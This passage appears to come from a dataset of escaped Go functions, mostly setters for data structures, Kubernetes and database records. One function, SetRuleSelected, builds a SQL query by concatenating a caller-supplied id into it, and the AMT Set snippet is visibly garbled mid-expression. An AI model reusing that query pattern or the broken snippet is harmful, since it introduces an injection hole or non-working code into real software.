strings.HasPrefix(prototype.FieldsType[i], \\\"enum:\\\")\\r\\n\\t\\t\\tif !isBaseType {\\r\\n\\t\\t\\t\\tisRef := strings.HasSuffix(prototype.FieldsType[i], \\\":Ref\\\") || strings.HasSuffix(prototype.Fields[i], \\\"Ptr\\\")\\r\\n\\t\\t\\t\\tif !isRef {\\r\\n\\t\\t\\t\\t\\tv := reflect.ValueOf(values[prototype.Fields[i]])\\r\\n\\t\\t\\t\\t\\t// In case of an array of references.\\r\\n\\t\\t\\t\\t\\tif v.IsValid() {\\r\\n\\t\\t\\t\\t\\t\\tif v.Type().Kind() == reflect.Slice {\\r\\n\\t\\t\\t\\t\\t\\t\\tfor j := 0; j < v.Len(); j++ {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tif v.Index(j).Type().Kind() == reflect.Interface {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tif reflect.TypeOf(v.Index(j).Interface()).Kind() == reflect.String {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif Utility.IsValidEntityReferenceName(v.Index(j).Interface().(string)) {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tv_, err := getEntityByUuid(v.Index(j).Interface().(string))\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif err == nil {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tvalues[prototype.Fields[i]].([]interface{})[j] = v_\\r\\n\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t} else {\\r\\n\\t\\t\\t\\t\\t\\t\\t// In case of a reference.\\r\\n\\t\\t\\t\\t\\t\\t\\tif v.Type().Kind() == reflect.String {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t// Here I will test if the value is a valid reference.\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tif Utility.IsValidEntityReferenceName(v.String()) {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tv_, err := getEntityByUuid(v.String())\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tif err == nil {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tvalues[prototype.Fields[i]] = v_\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\treturn values\\r\\n}\",\n \"func (hat *HashedArrayTree) Set(index int, value interface{}) error {\\n\\tif !hat.validIndex(index) {\\n\\t\\treturn ErrIndexOutOfRange\\n\\t}\\n\\tti, li := hat.topIndex(index), hat.leafIndex(index)\\n\\that.top[ti][li] = value\\n\\treturn nil\\n}\",\n \"func (em edgeMap) set(from, to *Vertex) {\\n\\t// This can take O(seconds), so let's do it outside the lock.\\n\\tnumUsages := astParser.ModuleUsagesForModule(from.Label, to.Label)\\n\\n\\temMu.Lock()\\n\\tdefer emMu.Unlock()\\n\\tif em == nil {\\n\\t\\tem = make(edgeMap)\\n\\t}\\n\\tif _, ok := em[from.Label]; !ok {\\n\\t\\tem[from.Label] = make(map[string]*edge)\\n\\t}\\n\\tem[from.Label][to.Label] = &edge{From: from, To: to, NumUsages: numUsages}\\n}\",\n \"func Set(object *astext.Object, path []string, value ast.Node) error {\\n\\tif len(path) == 0 {\\n\\t\\treturn errors.New(\\\"path was empty\\\")\\n\\t}\\n\\n\\tcurObj := object\\n\\n\\tfor i, k := range path {\\n\\t\\tfield, err := findField(curObj, k)\\n\\t\\tif err != nil {\\n\\t\\t\\tswitch err.(type) {\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\treturn err\\n\\t\\t\\tcase *unknownField:\\n\\t\\t\\t\\tfield, err = astext.CreateField(k)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tfield.Hide = ast.ObjectFieldInherit\\n\\t\\t\\t\\tcurObj.Fields = append(curObj.Fields, *field)\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tif i == len(path)-1 {\\n\\t\\t\\tfield, _ = findField(curObj, k)\\n\\t\\t\\tif canUpdateObject(field.Expr2, value) {\\n\\t\\t\\t\\treturn errors.New(\\\"can't set object to non object\\\")\\n\\t\\t\\t}\\n\\t\\t\\tfield.Expr2 = value\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\n\\t\\tif field.Expr2 == nil {\\n\\t\\t\\tcurObj = &astext.Object{}\\n\\t\\t\\tfield.Expr2 = curObj\\n\\t\\t} else if obj, ok := field.Expr2.(*astext.Object); ok {\\n\\t\\t\\tcurObj = obj\\n\\t\\t} else {\\n\\t\\t\\treturn errors.Errorf(\\\"child is not an object at %q\\\", k)\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (m FieldMap) Set(field FieldWriter) FieldMap {\\n\\ttValues := make(TagValues, 1)\\n\\ttValues[0].init(field.Tag(), field.Write())\\n\\tm.tagLookup[field.Tag()] = tValues\\n\\treturn m\\n}\",\n \"func (dl *DoublyLinkedList) set(position int32, value int32) bool {\\n\\tnode := dl.get(position)\\n\\tif node == nil {\\n\\t\\treturn false\\n\\t}\\n\\tnode.value = value\\n\\treturn true\\n}\",\n \"func (me *TxsdThoroughfareDependentThoroughfares) Set(s string) { (*xsdt.Nmtoken)(me).Set(s) }\",\n \"func SetTagonNode(nodes2tag string, appSettings appsettings.AppSettings) error {\\n\\t// creates the in-cluster config\\n\\tconfig, err := rest.InClusterConfig()\\n\\tif err != nil {\\n\\t\\tlog.Debugf(\\\"Getting the in cluster configuration for Kubernetes\\\")\\n\\t\\treturn err\\n\\t}\\n\\t// creates the clientset\\n\\tclientset, err := kubernetes.NewForConfig(config)\\n\\tif err != nil {\\n\\t\\tlog.Debugf(\\\"Connecting to Kubernetes...\\\")\\n\\t\\treturn err\\n\\t}\\n\\n\\tk8snode, err := clientset.CoreV1().Nodes().Get(nodes2tag, metav1.GetOptions{})\\n\\tif err != nil {\\n\\t\\tlog.Debugf(\\\"Getting the node %s from Kubernetes\\\", k8snode.Name)\\n\\t\\treturn err\\n\\t}\\n\\n\\tannotations := k8snode.Annotations\\n\\n\\tfor i := range appSettings.InfrastructureTags {\\n\\t\\tannotations[K8sAnnotationDomain+\\\"/\\\"+appSettings.InfrastructureTags[i].Key] = appSettings.InfrastructureTags[i].Value\\n\\t}\\n\\n\\tk8snode.Annotations = annotations\\n\\tlog.Debugf(\\\"Setting annotations on the node %s\\\", k8snode.Name)\\n\\t_, err = clientset.CoreV1().Nodes().Update(k8snode)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tlog.Infof(\\\"Set the annotations on the\\\")\\n\\n\\treturn nil\\n}\",\n \"func SetParents(index, firstparent, lastparent int) {\\n\\tC.hepevt_set_parents(\\n\\t\\tC.int(index+1),\\n\\t\\tC.int(firstparent),\\n\\t\\tC.int(lastparent))\\n}\",\n \"func (r *Root) Set(ctx context.Context, i uint64, val cbg.CBORMarshaler) error {\\n\\tif i > MaxIndex {\\n\\t\\treturn fmt.Errorf(\\\"index %d is out of range for the amt\\\", i)\\n\\t}\\n\\n\\tvar d cbg.Deferred\\n\\tif val == nil {\\n\\t\\td.Raw = cbg.CborNull\\n\\t} else {\\n\\t\\tvalueBuf := new(bytes.Buffer)\\n\\t\\tif err := val.MarshalCBOR(valueBuf); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\td.Raw = valueBuf.Bytes()\\n\\t}\\n\\n\\t// where the index is greater than the number of elements we can fit into the\\n\\t// current AMT, grow it until it will fit.\\n\\tfor i >= nodesForHeight(r.bitWidth, r.height+1) {\\n\\t\\t// if we have existing data, perform the re-height here by pushing down\\n\\t\\t// the existing tree into the left-most portion of a new root\\n\\t\\tif !r.node.empty() {\\n\\t\\t\\tnd := r.node\\n\\t\\t\\t// since all our current elements fit in the old height, we _know_ that\\n\\t\\t\\t// they will all sit under element [0] of this new node.\\n\\t\\t\\tr.node = &node{links: make([]*link, 1<= (MaxIndex - 1) {\\n\\t\\t\\treturn errInvalidCount\\n\\t\\t}\\n\\t\\tr.count++\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (sl *List) Set(k, v interface{}) (added bool) {\\n\\tn := sl.findAndUpdate(k)\\n\\n\\tif n != nil && sl.cmpFn(k, n.k) == 0 {\\n\\t\\tn.v = v\\n\\t\\treturn\\n\\t}\\n\\n\\tn = &node{\\n\\t\\tk: k,\\n\\t\\tv: v,\\n\\t\\tnext: make([]*node, sl.newLevel()),\\n\\t}\\n\\n\\tfor i := range n.next {\\n\\t\\tif up := sl.update[i]; up != nil {\\n\\t\\t\\ttmp := up.next[i]\\n\\t\\t\\tn.next[i] = tmp\\n\\t\\t\\tup.next[i] = n\\n\\t\\t\\tsl.update[i] = nil\\n\\t\\t}\\n\\t}\\n\\n\\tsl.len++\\n\\n\\treturn true\\n}\",\n \"func (ln *LocalNode) Set(e qnr.Entry) {\\n\\tln.mu.Lock()\\n\\tdefer ln.mu.Unlock()\\n\\n\\tln.set(e)\\n}\",\n \"func (m *SynchronizationSchema) SetDirectories(value []DirectoryDefinitionable)() {\\n err := m.GetBackingStore().Set(\\\"directories\\\", value)\\n if err != nil {\\n panic(err)\\n }\\n}\",\n \"func (pm *PathMap) set(path string, value interface{}) {\\n\\tparts := strings.Split(path, svnSep)\\n\\tdir, name := parts[:len(parts)-1], parts[len(parts)-1]\\n\\tpm._createTree(dir).blobs[name] = value\\n}\",\n \"func (m *Module) metadataDef(oldMetadata *ast.Metadata) {\\n\\tmd := m.getMetadata(oldMetadata.ID)\\n\\tfor _, oldNode := range oldMetadata.Nodes {\\n\\t\\tnode := m.metadataNode(oldNode)\\n\\t\\tmd.Nodes = append(md.Nodes, node)\\n\\t}\\n}\",\n \"func SetNodeType(node []byte, nodeType NodeType) {\\n\\ttypet := (*NodeType)(unsafe.Pointer(&node[NodeTypeOffset]))\\n\\t*typet = nodeType\\n}\",\n \"func (m *Map) SetMany(keys []string) {\\n\\tfor _, key := range keys {\\n\\t\\tm.Set(key)\\n\\t}\\n}\",\n \"func (n *resPool) SetChildren(children *list.List) {\\n\\tn.Lock()\\n\\tdefer n.Unlock()\\n\\tn.children = children\\n}\",\n \"func (m *Set) SetTerms(value []Termable)() {\\n err := m.GetBackingStore().Set(\\\"terms\\\", value)\\n if err != nil {\\n panic(err)\\n }\\n}\",\n \"func SetRuleSelected(n map[string]string) (err error) {\\n node_uniqueid_ruleset := n[\\\"nid\\\"]\\n ruleset_uniqueid := n[\\\"rule_uid\\\"]\\n\\n if ndb.Rdb == nil {\\n logs.Error(\\\"SetRuleSelected -- Can't access to database\\\")\\n return errors.New(\\\"SetRuleSelected -- Can't access to database\\\")\\n }\\n sqlQuery := \\\"SELECT * FROM ruleset_node WHERE node_uniqueid = \\\\\\\"\\\" + node_uniqueid_ruleset + \\\"\\\\\\\";\\\"\\n rows, err := ndb.Rdb.Query(sqlQuery)\\n if err != nil {\\n logs.Error(\\\"Put SetRuleSelecteda query error %s\\\", err.Error())\\n return err\\n }\\n defer rows.Close()\\n if rows.Next() {\\n rows.Close()\\n updateRulesetNode, err := ndb.Rdb.Prepare(\\\"update ruleset_node set ruleset_uniqueid = ? where node_uniqueid = ?;\\\")\\n if err != nil {\\n logs.Error(\\\"SetRuleSelected UPDATE prepare error -- \\\" + err.Error())\\n return err\\n }\\n _, err = updateRulesetNode.Exec(&ruleset_uniqueid, &node_uniqueid_ruleset)\\n defer updateRulesetNode.Close()\\n\\n if err != nil {\\n logs.Error(\\\"SetRuleSelected UPDATE Error -- \\\" + err.Error())\\n return err\\n }\\n return nil\\n } else {\\n insertRulesetNode, err := ndb.Rdb.Prepare(\\\"insert into ruleset_node (ruleset_uniqueid, node_uniqueid) values (?,?);\\\")\\n _, err = insertRulesetNode.Exec(&ruleset_uniqueid, &node_uniqueid_ruleset)\\n defer insertRulesetNode.Close()\\n\\n if err != nil {\\n logs.Error(\\\"error insertRulesetNode en ruleset/rulesets--> \\\" + err.Error())\\n return err\\n }\\n return nil\\n }\\n return err\\n}\",\n \"func (h *hashMap) Set(strKey, val string) {\\n\\tkey := GetHash(strKey)\\n\\n\\tnode := &node{\\n\\t\\tKey: Regularkey(key),\\n\\t\\tVal: val,\\n\\t}\\n\\n\\tbucket := h.getBucket(key)\\n\\n\\tif bucket.add(node) {\\n\\t\\tif float64(atomic.AddUint32(&h.Len, 1))/float64(atomic.LoadUint32(&h.Cap)) > THRESHOLD {\\n\\t\\t\\tatomic.StoreUint32(&h.Cap, h.Cap<<1)\\n\\t\\t}\\n\\t}\\n}\",\n \"func (t *Type) SetFields(fields []*Field)\",\n \"func putConsulTree(t tree, key string) {\\n\\tif !rename {\\n\\t\\tt.update(\\\"/\\\" + key)\\n\\t\\treturn\\n\\t}\\n\\n\\tfor k, v := range t {\\n\\t\\tsubTree, ok := v.(map[string]interface{})\\n\\t\\tif ok {\\n\\t\\t\\t// push retrieved data to a Consul key\\n\\t\\t\\ttree(subTree).update(\\\"/\\\" + key)\\n\\t\\t} else {\\n\\t\\t\\tpush(key+\\\"/\\\"+k, v)\\n\\t\\t}\\n\\t}\\n}\",\n \"func (fs *FakeSession) SetMany(pdus ...gosnmp.SnmpPDU) {\\n\\tfs.dirty = true\\n\\tfor _, pdu := range pdus {\\n\\t\\tfs.data[pdu.Name] = pdu\\n\\t}\\n}\",\n \"func (bir *BuildInfoRecord) setall(settings []debug.BuildSetting) {\\n\\tfor _, entry := range settings {\\n\\t\\tbir.setkv(entry.Key, entry.Value)\\n\\t}\\n}\",\n \"func resolveDeps(m meta.RESTMapper, objects []unstructuredv1.Unstructured, uids []types.UID, depsIsDependencies bool) (NodeMap, error) {\\n\\tif len(uids) == 0 {\\n\\t\\treturn NodeMap{}, nil\\n\\t}\\n\\t// Create global node maps of all objects, one mapped by node UIDs & the other\\n\\t// mapped by node keys. This step also helps deduplicate the list of provided\\n\\t// objects\\n\\tglobalMapByUID := map[types.UID]*Node{}\\n\\tglobalMapByKey := map[ObjectReferenceKey]*Node{}\\n\\tfor ix, o := range objects {\\n\\t\\tgvk := o.GroupVersionKind()\\n\\t\\tm, err := m.RESTMapping(gvk.GroupKind(), gvk.Version)\\n\\t\\tif err != nil {\\n\\t\\t\\tklog.V(4).Infof(\\\"Failed to map resource \\\\\\\"%s\\\\\\\" to GVR\\\", gvk)\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tns := o.GetNamespace()\\n\\t\\tnode := Node{\\n\\t\\t\\tUnstructured: &objects[ix],\\n\\t\\t\\tUID: o.GetUID(),\\n\\t\\t\\tName: o.GetName(),\\n\\t\\t\\tNamespace: ns,\\n\\t\\t\\tNamespaced: ns != \\\"\\\",\\n\\t\\t\\tGroup: m.Resource.Group,\\n\\t\\t\\tVersion: m.Resource.Version,\\n\\t\\t\\tKind: m.GroupVersionKind.Kind,\\n\\t\\t\\tResource: m.Resource.Resource,\\n\\t\\t\\tOwnerReferences: o.GetOwnerReferences(),\\n\\t\\t\\tDependencies: map[types.UID]RelationshipSet{},\\n\\t\\t\\tDependents: map[types.UID]RelationshipSet{},\\n\\t\\t}\\n\\t\\tuid, key := node.UID, node.GetObjectReferenceKey()\\n\\t\\tif n, ok := globalMapByUID[uid]; ok {\\n\\t\\t\\tklog.V(4).Infof(\\\"Duplicated %s.%s resource \\\\\\\"%s\\\\\\\" in namespace \\\\\\\"%s\\\\\\\"\\\", n.Kind, n.Group, n.Name, n.Namespace)\\n\\t\\t}\\n\\t\\tglobalMapByUID[uid] = &node\\n\\t\\tglobalMapByKey[key] = &node\\n\\n\\t\\tif node.Group == corev1.GroupName && node.Kind == \\\"Node\\\" {\\n\\t\\t\\t// Node events sent by the Kubelet uses the node's name as the\\n\\t\\t\\t// ObjectReference UID, so we include them as keys in our global map to\\n\\t\\t\\t// support lookup by nodename\\n\\t\\t\\tglobalMapByUID[types.UID(node.Name)] = &node\\n\\t\\t\\t// Node events sent by the kube-proxy uses the node's hostname as the\\n\\t\\t\\t// ObjectReference UID, so we include them as keys in our global map to\\n\\t\\t\\t// support lookup by hostname\\n\\t\\t\\tif hostname, ok := o.GetLabels()[corev1.LabelHostname]; ok {\\n\\t\\t\\t\\tglobalMapByUID[types.UID(hostname)] = &node\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tresolveLabelSelectorToNodes := func(o ObjectLabelSelector) []*Node {\\n\\t\\tvar result []*Node\\n\\t\\tfor _, n := range globalMapByUID {\\n\\t\\t\\tif n.Group == o.Group && n.Kind == o.Kind && n.Namespace == o.Namespace {\\n\\t\\t\\t\\tif ok := o.Selector.Matches(labels.Set(n.GetLabels())); ok {\\n\\t\\t\\t\\t\\tresult = append(result, n)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn result\\n\\t}\\n\\tresolveSelectorToNodes := func(o ObjectSelector) []*Node {\\n\\t\\tvar result []*Node\\n\\t\\tfor _, n := range globalMapByUID {\\n\\t\\t\\tif n.Group == o.Group && n.Kind == o.Kind {\\n\\t\\t\\t\\tif len(o.Namespaces) == 0 || o.Namespaces.Has(n.Namespace) {\\n\\t\\t\\t\\t\\tresult = append(result, n)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn result\\n\\t}\\n\\tupdateRelationships := func(node *Node, rmap *RelationshipMap) {\\n\\t\\tfor k, rset := range rmap.DependenciesByRef {\\n\\t\\t\\tif n, ok := globalMapByKey[k]; ok {\\n\\t\\t\\t\\tfor r := range rset {\\n\\t\\t\\t\\t\\tnode.AddDependency(n.UID, r)\\n\\t\\t\\t\\t\\tn.AddDependent(node.UID, r)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tfor k, rset := range rmap.DependentsByRef {\\n\\t\\t\\tif n, ok := globalMapByKey[k]; ok {\\n\\t\\t\\t\\tfor r := range rset {\\n\\t\\t\\t\\t\\tn.AddDependency(node.UID, r)\\n\\t\\t\\t\\t\\tnode.AddDependent(n.UID, r)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tfor k, rset := range rmap.DependenciesByLabelSelector {\\n\\t\\t\\tif ols, ok := rmap.ObjectLabelSelectors[k]; ok {\\n\\t\\t\\t\\tfor _, n := range resolveLabelSelectorToNodes(ols) {\\n\\t\\t\\t\\t\\tfor r := range rset {\\n\\t\\t\\t\\t\\t\\tnode.AddDependency(n.UID, r)\\n\\t\\t\\t\\t\\t\\tn.AddDependent(node.UID, r)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tfor k, rset := range rmap.DependentsByLabelSelector {\\n\\t\\t\\tif ols, ok := rmap.ObjectLabelSelectors[k]; ok {\\n\\t\\t\\t\\tfor _, n := range resolveLabelSelectorToNodes(ols) {\\n\\t\\t\\t\\t\\tfor r := range rset {\\n\\t\\t\\t\\t\\t\\tn.AddDependency(node.UID, r)\\n\\t\\t\\t\\t\\t\\tnode.AddDependent(n.UID, r)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tfor k, rset := range rmap.DependenciesBySelector {\\n\\t\\t\\tif os, ok := rmap.ObjectSelectors[k]; ok {\\n\\t\\t\\t\\tfor _, n := range resolveSelectorToNodes(os) {\\n\\t\\t\\t\\t\\tfor r := range rset {\\n\\t\\t\\t\\t\\t\\tnode.AddDependency(n.UID, r)\\n\\t\\t\\t\\t\\t\\tn.AddDependent(node.UID, r)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tfor k, rset := range rmap.DependentsBySelector {\\n\\t\\t\\tif os, ok := rmap.ObjectSelectors[k]; ok {\\n\\t\\t\\t\\tfor _, n := range resolveSelectorToNodes(os) {\\n\\t\\t\\t\\t\\tfor r := range rset {\\n\\t\\t\\t\\t\\t\\tn.AddDependency(node.UID, r)\\n\\t\\t\\t\\t\\t\\tnode.AddDependent(n.UID, r)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tfor uid, rset := range rmap.DependenciesByUID {\\n\\t\\t\\tif n, ok := globalMapByUID[uid]; ok {\\n\\t\\t\\t\\tfor r := range rset {\\n\\t\\t\\t\\t\\tnode.AddDependency(n.UID, r)\\n\\t\\t\\t\\t\\tn.AddDependent(node.UID, r)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tfor uid, rset := range rmap.DependentsByUID {\\n\\t\\t\\tif n, ok := globalMapByUID[uid]; ok {\\n\\t\\t\\t\\tfor r := range rset {\\n\\t\\t\\t\\t\\tn.AddDependency(node.UID, r)\\n\\t\\t\\t\\t\\tnode.AddDependent(n.UID, r)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\t// Populate dependencies & dependents based on Owner-Dependent relationships\\n\\tfor _, node := range globalMapByUID {\\n\\t\\tfor _, ref := range node.OwnerReferences {\\n\\t\\t\\tif n, ok := globalMapByUID[ref.UID]; ok {\\n\\t\\t\\t\\tif ref.Controller != nil && *ref.Controller {\\n\\t\\t\\t\\t\\tnode.AddDependency(n.UID, RelationshipControllerRef)\\n\\t\\t\\t\\t\\tn.AddDependent(node.UID, RelationshipControllerRef)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tnode.AddDependency(n.UID, RelationshipOwnerRef)\\n\\t\\t\\t\\tn.AddDependent(node.UID, RelationshipOwnerRef)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tvar rmap *RelationshipMap\\n\\tvar err error\\n\\tfor _, node := range globalMapByUID {\\n\\t\\tswitch {\\n\\t\\t// Populate dependencies & dependents based on PersistentVolume relationships\\n\\t\\tcase node.Group == corev1.GroupName && node.Kind == \\\"PersistentVolume\\\":\\n\\t\\t\\trmap, err = getPersistentVolumeRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for persistentvolume named \\\\\\\"%s\\\\\\\": %s\\\", node.Name, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on PersistentVolumeClaim relationships\\n\\t\\tcase node.Group == corev1.GroupName && node.Kind == \\\"PersistentVolumeClaim\\\":\\n\\t\\t\\trmap, err = getPersistentVolumeClaimRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for persistentvolumeclaim named \\\\\\\"%s\\\\\\\" in namespace \\\\\\\"%s\\\\\\\": %s\\\", node.Name, node.Namespace, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on Pod relationships\\n\\t\\tcase node.Group == corev1.GroupName && node.Kind == \\\"Pod\\\":\\n\\t\\t\\trmap, err = getPodRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for pod named \\\\\\\"%s\\\\\\\" in namespace \\\\\\\"%s\\\\\\\": %s\\\", node.Name, node.Namespace, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on Service relationships\\n\\t\\tcase node.Group == corev1.GroupName && node.Kind == \\\"Service\\\":\\n\\t\\t\\trmap, err = getServiceRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for service named \\\\\\\"%s\\\\\\\" in namespace \\\\\\\"%s\\\\\\\": %s\\\", node.Name, node.Namespace, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on ServiceAccount relationships\\n\\t\\tcase node.Group == corev1.GroupName && node.Kind == \\\"ServiceAccount\\\":\\n\\t\\t\\trmap, err = getServiceAccountRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for serviceaccount named \\\\\\\"%s\\\\\\\" in namespace \\\\\\\"%s\\\\\\\": %s\\\", node.Name, node.Namespace, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on PodSecurityPolicy relationships\\n\\t\\tcase node.Group == policyv1beta1.GroupName && node.Kind == \\\"PodSecurityPolicy\\\":\\n\\t\\t\\trmap, err = getPodSecurityPolicyRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for podsecuritypolicy named \\\\\\\"%s\\\\\\\": %s\\\", node.Name, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on PodDisruptionBudget relationships\\n\\t\\tcase node.Group == policyv1.GroupName && node.Kind == \\\"PodDisruptionBudget\\\":\\n\\t\\t\\trmap, err = getPodDisruptionBudgetRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for poddisruptionbudget named \\\\\\\"%s\\\\\\\": %s\\\", node.Name, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on MutatingWebhookConfiguration relationships\\n\\t\\tcase node.Group == admissionregistrationv1.GroupName && node.Kind == \\\"MutatingWebhookConfiguration\\\":\\n\\t\\t\\trmap, err = getMutatingWebhookConfigurationRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for mutatingwebhookconfiguration named \\\\\\\"%s\\\\\\\": %s\\\", node.Name, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on ValidatingWebhookConfiguration relationships\\n\\t\\tcase node.Group == admissionregistrationv1.GroupName && node.Kind == \\\"ValidatingWebhookConfiguration\\\":\\n\\t\\t\\trmap, err = getValidatingWebhookConfigurationRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for validatingwebhookconfiguration named \\\\\\\"%s\\\\\\\": %s\\\", node.Name, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on APIService relationships\\n\\t\\tcase node.Group == apiregistrationv1.GroupName && node.Kind == \\\"APIService\\\":\\n\\t\\t\\trmap, err = getAPIServiceRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for apiservice named \\\\\\\"%s\\\\\\\": %s\\\", node.Name, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on Event relationships\\n\\t\\tcase (node.Group == eventsv1.GroupName || node.Group == corev1.GroupName) && node.Kind == \\\"Event\\\":\\n\\t\\t\\trmap, err = getEventRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for event named \\\\\\\"%s\\\\\\\" in namespace \\\\\\\"%s\\\\\\\": %s\\\", node.Name, node.Namespace, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on Ingress relationships\\n\\t\\tcase (node.Group == networkingv1.GroupName || node.Group == extensionsv1beta1.GroupName) && node.Kind == \\\"Ingress\\\":\\n\\t\\t\\trmap, err = getIngressRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for ingress named \\\\\\\"%s\\\\\\\" in namespace \\\\\\\"%s\\\\\\\": %s\\\", node.Name, node.Namespace, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on IngressClass relationships\\n\\t\\tcase node.Group == networkingv1.GroupName && node.Kind == \\\"IngressClass\\\":\\n\\t\\t\\trmap, err = getIngressClassRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for ingressclass named \\\\\\\"%s\\\\\\\": %s\\\", node.Name, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on NetworkPolicy relationships\\n\\t\\tcase node.Group == networkingv1.GroupName && node.Kind == \\\"NetworkPolicy\\\":\\n\\t\\t\\trmap, err = getNetworkPolicyRelationships(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tklog.V(4).Infof(\\\"Failed to get relationships for networkpolicy named \\\\\\\"%s\\\\\\\": %s\\\", node.Name, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t// Populate dependencies & dependents based on RuntimeClass relationships\\n\\t\\tcase node.Group == nodev1.GroupName && node.Kind == 